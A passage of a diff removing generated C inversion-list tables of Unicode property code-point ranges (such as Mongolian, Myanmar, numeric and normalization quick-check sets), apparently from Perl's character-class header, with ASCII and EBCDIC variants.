0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E8D0, - 0x1E8D7, - 0x1E944, - 0x1E94B, - 0xE0100, - 0xE01F0 -}; - -static const UV PL_MODI_invlist[] = { /* for all charsets */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xA830, - 0xA83A, - 0x11600, - 0x11645, - 0x11650, - 0x1165A -}; - -static const UV PL_MODIFIERLETTERS_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2B0, - 0x300 -}; - -static const UV PL_MODIFIERTONELETTERS_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xA700, - 0xA720 -}; - -static const UV PL_MONG_invlist[] = { /* for all charsets */ - 11, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1800, - 0x180F, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x18AB, - 0x11660, - 0x1166D -}; - -static const UV PL_MONGOLIANSUP_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x11660, - 0x11680 -}; - -static const UV PL_MRO_invlist[] = { /* for all charsets */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x16A40, - 0x16A5F, - 0x16A60, - 0x16A6A, - 0x16A6E, - 0x16A70 -}; - -static const UV PL_MTEI_invlist[] = { /* for all charsets */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xAAE0, - 0xAAF7, - 0xABC0, - 0xABEE, - 0xABF0, - 0xABFA -}; - -static const UV PL_MULT_invlist[] = { /* for all charsets */ - 13, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xA66, - 0xA70, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112AA -}; - -static const UV PL_MUSIC_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1D100, - 0x1D200 -}; - -static const UV PL_MYANMAREXTA_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xAA60, - 0xAA80 -}; - -static const UV PL_MYANMAREXTB_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xA9E0, - 0xAA00 -}; - -static const UV PL_MYMR_invlist[] = { /* for all charsets */ - 9, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1000, - 0x10A0, - 0xA92E, - 0xA92F, - 0xA9E0, - 0xA9FF, - 0xAA60, - 0xAA80 -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_N_invlist[] = { /* for ASCII/Latin1 */ - 233, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x30, - 0x3A, - 0xB2, - 0xB4, - 0xB9, - 0xBA, - 0xBC, - 0xBF, - 0x660, - 0x66A, - 0x6F0, - 0x6FA, - 0x7C0, - 0x7CA, - 0x966, - 0x970, - 0x9E6, - 0x9F0, - 0x9F4, - 0x9FA, - 0xA66, - 0xA70, - 0xAE6, - 0xAF0, - 0xB66, - 0xB70, - 0xB72, - 0xB78, - 0xBE6, - 0xBF3, - 0xC66, - 0xC70, - 0xC78, - 0xC7F, - 0xCE6, - 0xCF0, - 0xD58, - 0xD5F, - 0xD66, - 0xD79, - 0xDE6, - 0xDF0, - 0xE50, - 0xE5A, - 0xED0, - 0xEDA, - 0xF20, - 0xF34, - 0x1040, - 0x104A, - 0x1090, - 0x109A, - 0x1369, - 0x137D, - 0x16EE, - 0x16F1, - 0x17E0, - 0x17EA, - 0x17F0, - 0x17FA, - 0x1810, - 0x181A, - 0x1946, - 0x1950, - 0x19D0, - 0x19DB, - 0x1A80, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1B50, - 0x1B5A, - 0x1BB0, - 0x1BBA, - 0x1C40, - 0x1C4A, - 0x1C50, - 0x1C5A, - 0x2070, - 0x2071, - 0x2074, - 0x207A, - 0x2080, - 0x208A, - 0x2150, - 0x2183, - 0x2185, - 0x218A, - 0x2460, - 0x249C, - 0x24EA, - 0x2500, - 0x2776, - 0x2794, - 0x2CFD, - 0x2CFE, - 0x3007, - 0x3008, - 0x3021, - 0x302A, - 0x3038, - 0x303B, - 0x3192, - 0x3196, - 0x3220, - 0x322A, - 0x3248, - 0x3250, - 0x3251, - 0x3260, - 0x3280, - 0x328A, - 0x32B1, - 0x32C0, - 0xA620, - 0xA62A, - 0xA6E6, - 0xA6F0, - 0xA830, - 0xA836, - 0xA8D0, - 0xA8DA, - 0xA900, - 0xA90A, - 0xA9D0, - 0xA9DA, - 0xA9F0, - 0xA9FA, - 0xAA50, - 0xAA5A, - 0xABF0, - 0xABFA, - 0xFF10, - 0xFF1A, - 0x10107, - 0x10134, - 0x10140, - 0x10179, - 0x1018A, - 0x1018C, - 0x102E1, - 0x102FC, - 0x10320, - 0x10324, - 0x10341, - 0x10342, - 0x1034A, - 0x1034B, - 0x103D1, - 0x103D6, - 0x104A0, - 0x104AA, - 0x10858, - 0x10860, - 0x10879, - 0x10880, - 0x108A7, - 0x108B0, - 0x108FB, - 0x10900, - 0x10916, - 0x1091C, - 0x109BC, - 0x109BE, - 0x109C0, - 0x109D0, - 0x109D2, - 0x10A00, - 0x10A40, - 0x10A48, - 0x10A7D, - 0x10A7F, - 0x10A9D, - 0x10AA0, - 0x10AEB, - 0x10AF0, - 0x10B58, - 0x10B60, - 0x10B78, - 0x10B80, - 0x10BA9, - 0x10BB0, - 0x10CFA, - 0x10D00, - 0x10E60, - 0x10E7F, - 0x11052, - 0x11070, - 0x110F0, - 0x110FA, - 0x11136, - 0x11140, - 0x111D0, - 0x111DA, - 0x111E1, - 0x111F5, - 0x112F0, - 0x112FA, - 0x11450, - 0x1145A, - 0x114D0, - 0x114DA, - 0x11650, - 0x1165A, - 0x116C0, - 0x116CA, - 0x11730, - 0x1173C, - 0x118E0, - 0x118F3, - 0x11C50, - 0x11C6D, - 0x11D50, - 0x11D5A, - 0x12400, - 0x1246F, - 0x16A60, - 0x16A6A, - 0x16B50, - 0x16B5A, - 0x16B5B, - 0x16B62, - 0x1D360, - 0x1D372, - 0x1D7CE, - 0x1D800, - 0x1E8C7, - 0x1E8D0, - 0x1E950, - 0x1E95A, - 0x1F100, - 0x1F10D -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_N_invlist[] = { /* for EBCDIC 1047 */ - 233, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xB7, - 0xBA, - 0xDA, - 0xDB, - 0xEA, - 0xEB, - 0xF0, - 0xFB, - 0x660, - 0x66A, - 0x6F0, - 0x6FA, - 0x7C0, - 0x7CA, - 0x966, - 0x970, - 0x9E6, - 0x9F0, - 0x9F4, - 0x9FA, - 0xA66, - 0xA70, - 0xAE6, - 0xAF0, - 0xB66, - 0xB70, - 0xB72, - 0xB78, - 0xBE6, - 0xBF3, - 0xC66, - 0xC70, - 0xC78, - 0xC7F, - 0xCE6, - 0xCF0, - 0xD58, - 0xD5F, - 0xD66, - 0xD79, - 0xDE6, - 0xDF0, - 0xE50, - 0xE5A, - 0xED0, - 0xEDA, - 0xF20, - 0xF34, - 0x1040, - 0x104A, - 0x1090, - 0x109A, - 0x1369, - 0x137D, - 0x16EE, - 0x16F1, - 0x17E0, - 0x17EA, - 0x17F0, - 0x17FA, - 0x1810, - 0x181A, - 0x1946, - 0x1950, - 0x19D0, - 0x19DB, - 0x1A80, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1B50, - 0x1B5A, - 0x1BB0, - 0x1BBA, - 0x1C40, - 0x1C4A, - 0x1C50, - 0x1C5A, - 0x2070, - 0x2071, - 0x2074, - 0x207A, - 0x2080, - 0x208A, - 0x2150, - 0x2183, - 0x2185, - 0x218A, - 0x2460, - 0x249C, - 0x24EA, - 0x2500, - 0x2776, - 0x2794, - 0x2CFD, - 0x2CFE, - 0x3007, - 0x3008, - 0x3021, - 0x302A, - 0x3038, - 0x303B, - 0x3192, - 0x3196, - 0x3220, - 0x322A, - 0x3248, - 0x3250, - 0x3251, - 0x3260, - 0x3280, - 0x328A, - 0x32B1, - 0x32C0, - 0xA620, - 0xA62A, - 0xA6E6, - 0xA6F0, - 0xA830, - 0xA836, - 0xA8D0, - 0xA8DA, - 0xA900, - 0xA90A, - 0xA9D0, - 0xA9DA, - 0xA9F0, - 0xA9FA, - 0xAA50, - 0xAA5A, - 0xABF0, - 0xABFA, - 0xFF10, - 0xFF1A, - 0x10107, - 0x10134, - 0x10140, - 0x10179, - 0x1018A, - 0x1018C, - 0x102E1, - 0x102FC, - 0x10320, - 0x10324, - 0x10341, - 0x10342, - 0x1034A, - 0x1034B, - 0x103D1, - 0x103D6, - 0x104A0, - 0x104AA, - 0x10858, - 0x10860, - 0x10879, - 0x10880, - 0x108A7, - 0x108B0, - 0x108FB, - 0x10900, - 0x10916, - 0x1091C, - 0x109BC, - 0x109BE, - 0x109C0, - 0x109D0, - 0x109D2, - 0x10A00, - 0x10A40, - 0x10A48, - 0x10A7D, - 0x10A7F, - 0x10A9D, - 0x10AA0, - 0x10AEB, - 0x10AF0, - 0x10B58, - 0x10B60, - 0x10B78, - 0x10B80, - 0x10BA9, - 0x10BB0, - 0x10CFA, - 0x10D00, - 0x10E60, - 0x10E7F, - 0x11052, - 0x11070, - 0x110F0, - 0x110FA, - 0x11136, - 0x11140, - 0x111D0, - 0x111DA, - 0x111E1, - 0x111F5, - 0x112F0, - 0x112FA, - 0x11450, - 0x1145A, - 0x114D0, - 0x114DA, - 0x11650, - 0x1165A, - 0x116C0, - 0x116CA, - 0x11730, - 0x1173C, - 0x118E0, - 0x118F3, - 0x11C50, - 0x11C6D, - 0x11D50, - 0x11D5A, - 0x12400, - 0x1246F, - 0x16A60, - 0x16A6A, - 0x16B50, - 0x16B5A, - 0x16B5B, - 0x16B62, - 0x1D360, - 0x1D372, - 0x1D7CE, - 0x1D800, - 0x1E8C7, - 0x1E8D0, - 0x1E950, - 0x1E95A, - 0x1F100, - 0x1F10D -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_N_invlist[] = { /* for EBCDIC 037 */ - 233, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xB7, - 0xBA, - 0xDA, - 0xDB, - 0xEA, - 0xEB, - 0xF0, - 0xFB, - 0x660, - 0x66A, - 0x6F0, - 0x6FA, - 0x7C0, - 0x7CA, - 0x966, - 0x970, - 0x9E6, - 0x9F0, - 0x9F4, - 0x9FA, - 0xA66, - 0xA70, - 0xAE6, - 0xAF0, - 0xB66, - 0xB70, - 0xB72, - 0xB78, - 0xBE6, - 0xBF3, - 0xC66, - 0xC70, - 0xC78, - 0xC7F, - 0xCE6, - 0xCF0, - 0xD58, - 0xD5F, - 0xD66, - 0xD79, - 0xDE6, - 0xDF0, - 0xE50, - 0xE5A, - 0xED0, - 0xEDA, - 0xF20, - 0xF34, - 0x1040, - 0x104A, - 0x1090, - 0x109A, - 0x1369, - 0x137D, - 0x16EE, - 0x16F1, - 0x17E0, - 0x17EA, - 0x17F0, - 0x17FA, - 0x1810, - 0x181A, - 0x1946, - 0x1950, - 0x19D0, - 0x19DB, - 0x1A80, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1B50, - 0x1B5A, - 0x1BB0, - 0x1BBA, - 0x1C40, - 0x1C4A, - 0x1C50, - 0x1C5A, - 0x2070, - 0x2071, - 0x2074, - 0x207A, - 0x2080, - 0x208A, - 0x2150, - 0x2183, - 0x2185, - 0x218A, - 0x2460, - 0x249C, - 0x24EA, - 0x2500, - 0x2776, - 0x2794, - 0x2CFD, - 0x2CFE, - 0x3007, - 0x3008, - 0x3021, - 0x302A, - 0x3038, - 0x303B, - 0x3192, - 0x3196, - 0x3220, - 0x322A, - 0x3248, - 0x3250, - 0x3251, - 0x3260, - 0x3280, - 0x328A, - 0x32B1, - 0x32C0, - 0xA620, - 0xA62A, - 0xA6E6, - 0xA6F0, - 0xA830, - 0xA836, - 0xA8D0, - 0xA8DA, - 0xA900, - 0xA90A, - 0xA9D0, - 0xA9DA, - 0xA9F0, - 0xA9FA, - 0xAA50, - 0xAA5A, - 0xABF0, - 0xABFA, - 0xFF10, - 0xFF1A, - 0x10107, - 0x10134, - 0x10140, - 0x10179, - 0x1018A, - 0x1018C, - 0x102E1, - 0x102FC, - 0x10320, - 0x10324, - 0x10341, - 0x10342, - 0x1034A, - 0x1034B, - 0x103D1, - 0x103D6, - 0x104A0, - 0x104AA, - 0x10858, - 0x10860, - 0x10879, - 0x10880, - 0x108A7, - 0x108B0, - 0x108FB, - 0x10900, - 0x10916, - 0x1091C, - 0x109BC, - 0x109BE, - 0x109C0, - 0x109D0, - 0x109D2, - 0x10A00, - 0x10A40, - 0x10A48, - 0x10A7D, - 0x10A7F, - 0x10A9D, - 0x10AA0, - 0x10AEB, - 0x10AF0, - 0x10B58, - 0x10B60, - 0x10B78, - 0x10B80, - 0x10BA9, - 0x10BB0, - 0x10CFA, - 0x10D00, - 0x10E60, - 0x10E7F, - 0x11052, - 0x11070, - 0x110F0, - 0x110FA, - 0x11136, - 0x11140, - 0x111D0, - 0x111DA, - 0x111E1, - 0x111F5, - 0x112F0, - 0x112FA, - 0x11450, - 0x1145A, - 0x114D0, - 0x114DA, - 0x11650, - 0x1165A, - 0x116C0, - 0x116CA, - 0x11730, - 0x1173C, - 0x118E0, - 0x118F3, - 0x11C50, - 0x11C6D, - 0x11D50, - 0x11D5A, - 0x12400, - 0x1246F, - 0x16A60, - 0x16A6A, - 0x16B50, - 0x16B5A, - 0x16B5B, - 0x16B62, - 0x1D360, - 0x1D372, - 0x1D7CE, - 0x1D800, - 0x1E8C7, - 0x1E8D0, - 0x1E950, - 0x1E95A, - 0x1F100, - 0x1F10D -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_NARB_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10A80, - 0x10AA0 -}; - -static const UV PL_NB_invlist[] = { /* for all charsets */ - 96, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x870, - 0x8A0, - 0x1C90, - 0x1CC0, - 0x2FE0, - 0x2FF0, - 0x10200, - 0x10280, - 0x103E0, - 0x10400, - 0x10570, - 0x10600, - 0x10780, - 0x10800, - 0x108B0, - 0x108E0, - 0x10940, - 0x10980, - 0x10AA0, - 0x10AC0, - 0x10BB0, - 0x10C00, - 0x10C50, - 0x10C80, - 0x10D00, - 0x10E60, - 0x10E80, - 0x11000, - 0x11250, - 0x11280, - 0x11380, - 0x11400, - 0x114E0, - 0x11580, - 0x116D0, - 0x11700, - 0x11740, - 0x118A0, - 0x11900, - 0x11A00, - 0x11AB0, - 0x11AC0, - 0x11B00, - 0x11C00, - 0x11CC0, - 0x11D00, - 0x11D60, - 0x12000, - 0x12550, - 0x13000, - 0x13430, - 0x14400, - 0x14680, - 0x16800, - 0x16A70, - 0x16AD0, - 0x16B90, - 0x16F00, - 0x16FA0, - 0x16FE0, - 0x18B00, - 0x1B000, - 0x1B130, - 0x1B170, - 0x1B300, - 0x1BC00, - 0x1BCB0, - 0x1D000, - 0x1D250, - 0x1D300, - 0x1D380, - 0x1D400, - 0x1DAB0, - 0x1E000, - 0x1E030, - 0x1E800, - 0x1E8E0, - 0x1E900, - 0x1E960, - 0x1EE00, - 0x1EF00, - 0x1F000, - 0x1FA00, - 0x20000, - 0x2A6E0, - 0x2A700, - 0x2EBF0, - 0x2F800, - 0x2FA20, - 0xE0000, - 0xE0080, - 0xE0100, - 0xE01F0, - 0xF0000, - 0x110000 -}; - -static const UV PL_NBAT_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10880, - 0x1089F, - 0x108A7, - 0x108B0 -}; - -static const UV PL_NEWA_invlist[] = { /* for all charsets */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x11400, - 0x1145A, - 0x1145B, - 0x1145C, - 0x1145D, - 0x1145E -}; - -static const UV PL_NFCQC__M_invlist[] = { /* for all charsets */ - 83, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x300, - 0x305, - 0x306, - 0x30D, - 0x30F, - 0x310, - 0x311, - 0x312, - 0x313, - 0x315, - 0x31B, - 0x31C, - 0x323, - 0x329, - 0x32D, - 0x32F, - 0x330, - 0x332, - 0x338, - 0x339, - 0x342, - 0x343, - 0x345, - 0x346, - 0x653, - 0x656, - 0x93C, - 0x93D, - 0x9BE, - 0x9BF, - 0x9D7, - 0x9D8, - 0xB3E, - 0xB3F, - 0xB56, - 0xB58, - 0xBBE, - 0xBBF, - 0xBD7, - 0xBD8, - 0xC56, - 0xC57, - 0xCC2, - 0xCC3, - 0xCD5, - 0xCD7, - 0xD3E, - 0xD3F, - 0xD57, - 0xD58, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD0, - 0xDDF, - 0xDE0, - 0x102E, - 0x102F, - 0x1161, - 0x1176, - 0x11A8, - 0x11C3, - 0x1B35, - 0x1B36, - 0x3099, - 0x309B, - 0x110BA, - 0x110BB, - 0x11127, - 0x11128, - 0x1133E, - 0x1133F, - 0x11357, - 0x11358, - 0x114B0, - 0x114B1, - 0x114BA, - 0x114BB, - 0x114BD, - 0x114BE, - 0x115AF, - 0x115B0 -}; - -static const UV PL_NFCQC__Y_invlist[] = { /* for all charsets */ - 223, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x300, - 0x305, - 0x306, - 0x30D, - 0x30F, - 0x310, - 0x311, - 0x312, - 0x313, - 0x315, - 0x31B, - 0x31C, - 0x323, - 0x329, - 0x32D, - 0x32F, - 0x330, - 0x332, - 0x338, - 0x339, - 0x340, - 0x346, - 0x374, - 0x375, - 0x37E, - 0x37F, - 0x387, - 0x388, - 0x653, - 0x656, - 0x93C, - 0x93D, - 0x958, - 0x960, - 0x9BE, - 0x9BF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E0, - 0xA33, - 0xA34, - 0xA36, - 0xA37, - 0xA59, - 0xA5C, - 0xA5E, - 0xA5F, - 0xB3E, - 0xB3F, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xBBE, - 0xBBF, - 0xBD7, - 0xBD8, - 0xC56, - 0xC57, - 0xCC2, - 0xCC3, - 0xCD5, - 0xCD7, - 0xD3E, - 0xD3F, - 0xD57, - 0xD58, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD0, - 0xDDF, - 0xDE0, - 0xF43, - 0xF44, - 0xF4D, - 0xF4E, - 0xF52, - 0xF53, - 0xF57, - 0xF58, - 0xF5C, - 0xF5D, - 0xF69, - 0xF6A, - 0xF73, - 0xF74, - 0xF75, - 0xF77, - 0xF78, - 0xF79, - 0xF81, - 0xF82, - 0xF93, - 0xF94, - 0xF9D, - 0xF9E, - 0xFA2, - 0xFA3, - 0xFA7, - 0xFA8, - 0xFAC, - 0xFAD, - 0xFB9, - 0xFBA, - 0x102E, - 0x102F, - 0x1161, - 0x1176, - 0x11A8, - 0x11C3, - 0x1B35, - 0x1B36, - 0x1F71, - 0x1F72, - 0x1F73, - 0x1F74, - 0x1F75, - 0x1F76, - 0x1F77, - 0x1F78, - 0x1F79, - 0x1F7A, - 0x1F7B, - 0x1F7C, - 0x1F7D, - 0x1F7E, - 0x1FBB, - 0x1FBC, - 0x1FBE, - 0x1FBF, - 0x1FC9, - 0x1FCA, - 0x1FCB, - 0x1FCC, - 0x1FD3, - 0x1FD4, - 0x1FDB, - 0x1FDC, - 0x1FE3, - 0x1FE4, - 0x1FEB, - 0x1FEC, - 0x1FEE, - 0x1FF0, - 0x1FF9, - 0x1FFA, - 0x1FFB, - 0x1FFC, - 0x1FFD, - 0x1FFE, - 0x2000, - 0x2002, - 0x2126, - 0x2127, - 0x212A, - 0x212C, - 0x2329, - 0x232B, - 0x2ADC, - 0x2ADD, - 0x3099, - 0x309B, - 0xF900, - 0xFA0E, - 0xFA10, - 0xFA11, - 0xFA12, - 0xFA13, - 0xFA15, - 0xFA1F, - 0xFA20, - 0xFA21, - 0xFA22, - 0xFA23, - 0xFA25, - 0xFA27, - 0xFA2A, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB1D, - 0xFB1E, - 0xFB1F, - 0xFB20, - 0xFB2A, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFB4F, - 0x110BA, - 0x110BB, - 0x11127, - 0x11128, - 0x1133E, - 0x1133F, - 0x11357, - 0x11358, - 0x114B0, - 0x114B1, - 0x114BA, - 0x114BB, - 0x114BD, - 0x114BE, - 0x115AF, - 0x115B0, - 0x1D15E, - 0x1D165, - 0x1D1BB, - 0x1D1C1, - 0x2F800, - 0x2FA1E -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_NFDQC__Y_invlist[] = { /* for ASCII/Latin1 */ - 463, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xC0, - 0xC6, - 0xC7, - 0xD0, - 0xD1, - 0xD7, - 0xD9, - 0xDE, - 0xE0, - 0xE6, - 0xE7, - 0xF0, - 0xF1, - 0xF7, - 0xF9, - 0xFE, - 0xFF, - 0x110, - 0x112, - 0x126, - 0x128, - 0x131, - 0x134, - 0x138, - 0x139, - 0x13F, - 0x143, - 0x149, - 0x14C, - 0x152, - 0x154, - 0x166, - 0x168, - 0x17F, - 0x1A0, - 0x1A2, - 0x1AF, - 0x1B1, - 0x1CD, - 0x1DD, - 0x1DE, - 0x1E4, - 0x1E6, - 0x1F1, - 0x1F4, - 0x1F6, - 0x1F8, - 0x21C, - 0x21E, - 0x220, - 0x226, - 0x234, - 0x340, - 0x342, - 0x343, - 0x345, - 0x374, - 0x375, - 0x37E, - 0x37F, - 0x385, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x391, - 0x3AA, - 0x3B1, - 0x3CA, - 0x3CF, - 0x3D3, - 0x3D5, - 0x400, - 0x402, - 0x403, - 0x404, - 0x407, - 0x408, - 0x40C, - 0x40F, - 0x419, - 0x41A, - 0x439, - 0x43A, - 0x450, - 0x452, - 0x453, - 0x454, - 0x457, - 0x458, - 0x45C, - 0x45F, - 0x476, - 0x478, - 0x4C1, - 0x4C3, - 0x4D0, - 0x4D4, - 0x4D6, - 0x4D8, - 0x4DA, - 0x4E0, - 0x4E2, - 0x4E8, - 0x4EA, - 0x4F6, - 0x4F8, - 0x4FA, - 0x622, - 0x627, - 0x6C0, - 0x6C1, - 0x6C2, - 0x6C3, - 0x6D3, - 0x6D4, - 0x929, - 0x92A, - 0x931, - 0x932, - 0x934, - 0x935, - 0x958, - 0x960, - 0x9CB, - 0x9CD, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E0, - 0xA33, - 0xA34, - 0xA36, - 0xA37, - 0xA59, - 0xA5C, - 0xA5E, - 0xA5F, - 0xB48, - 0xB49, - 0xB4B, - 0xB4D, - 0xB5C, - 0xB5E, - 0xB94, - 0xB95, - 0xBCA, - 0xBCD, - 0xC48, - 0xC49, - 0xCC0, - 0xCC1, - 0xCC7, - 0xCC9, - 0xCCA, - 0xCCC, - 0xD4A, - 0xD4D, - 0xDDA, - 0xDDB, - 0xDDC, - 0xDDF, - 0xF43, - 0xF44, - 0xF4D, - 0xF4E, - 0xF52, - 0xF53, - 0xF57, - 0xF58, - 0xF5C, - 0xF5D, - 0xF69, - 0xF6A, - 0xF73, - 0xF74, - 0xF75, - 0xF77, - 0xF78, - 0xF79, - 0xF81, - 0xF82, - 0xF93, - 0xF94, - 0xF9D, - 0xF9E, - 0xFA2, - 0xFA3, - 0xFA7, - 0xFA8, - 0xFAC, - 0xFAD, - 0xFB9, - 0xFBA, - 0x1026, - 0x1027, - 0x1B06, - 0x1B07, - 0x1B08, - 0x1B09, - 0x1B0A, - 0x1B0B, - 0x1B0C, - 0x1B0D, - 0x1B0E, - 0x1B0F, - 0x1B12, - 0x1B13, - 0x1B3B, - 0x1B3C, - 0x1B3D, - 0x1B3E, - 0x1B40, - 0x1B42, - 0x1B43, - 0x1B44, - 0x1E00, - 0x1E9A, - 0x1E9B, - 0x1E9C, - 0x1EA0, - 0x1EFA, - 0x1F00, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC1, - 0x1FC5, - 0x1FC6, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FDD, - 0x1FF0, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFE, - 0x2000, - 0x2002, - 0x2126, - 0x2127, - 0x212A, - 0x212C, - 0x219A, - 0x219C, - 0x21AE, - 0x21AF, - 0x21CD, - 0x21D0, - 0x2204, - 0x2205, - 0x2209, - 0x220A, - 0x220C, - 0x220D, - 0x2224, - 0x2225, - 0x2226, - 0x2227, - 0x2241, - 0x2242, - 0x2244, - 0x2245, - 0x2247, - 0x2248, - 0x2249, - 0x224A, - 0x2260, - 0x2261, - 0x2262, - 0x2263, - 0x226D, - 0x2272, - 0x2274, - 0x2276, - 0x2278, - 0x227A, - 0x2280, - 0x2282, - 0x2284, - 0x2286, - 0x2288, - 0x228A, - 0x22AC, - 0x22B0, - 0x22E0, - 0x22E4, - 0x22EA, - 0x22EE, - 0x2329, - 0x232B, - 0x2ADC, - 0x2ADD, - 0x304C, - 0x304D, - 0x304E, - 0x304F, - 0x3050, - 0x3051, - 0x3052, - 0x3053, - 0x3054, - 0x3055, - 0x3056, - 0x3057, - 0x3058, - 0x3059, - 0x305A, - 0x305B, - 0x305C, - 0x305D, - 0x305E, - 0x305F, - 0x3060, - 0x3061, - 0x3062, - 0x3063, - 0x3065, - 0x3066, - 0x3067, - 0x3068, - 0x3069, - 0x306A, - 0x3070, - 0x3072, - 0x3073, - 0x3075, - 0x3076, - 0x3078, - 0x3079, - 0x307B, - 0x307C, - 0x307E, - 0x3094, - 0x3095, - 0x309E, - 0x309F, - 0x30AC, - 0x30AD, - 0x30AE, - 0x30AF, - 0x30B0, - 0x30B1, - 0x30B2, - 0x30B3, - 0x30B4, - 0x30B5, - 0x30B6, - 0x30B7, - 0x30B8, - 0x30B9, - 0x30BA, - 0x30BB, - 0x30BC, - 0x30BD, - 0x30BE, - 0x30BF, - 0x30C0, - 0x30C1, - 0x30C2, - 0x30C3, - 0x30C5, - 0x30C6, - 0x30C7, - 0x30C8, - 0x30C9, - 0x30CA, - 0x30D0, - 0x30D2, - 0x30D3, - 0x30D5, - 0x30D6, - 0x30D8, - 0x30D9, - 0x30DB, - 0x30DC, - 0x30DE, - 0x30F4, - 0x30F5, - 0x30F7, - 0x30FB, - 0x30FE, - 0x30FF, - 0xAC00, - 0xD7A4, - 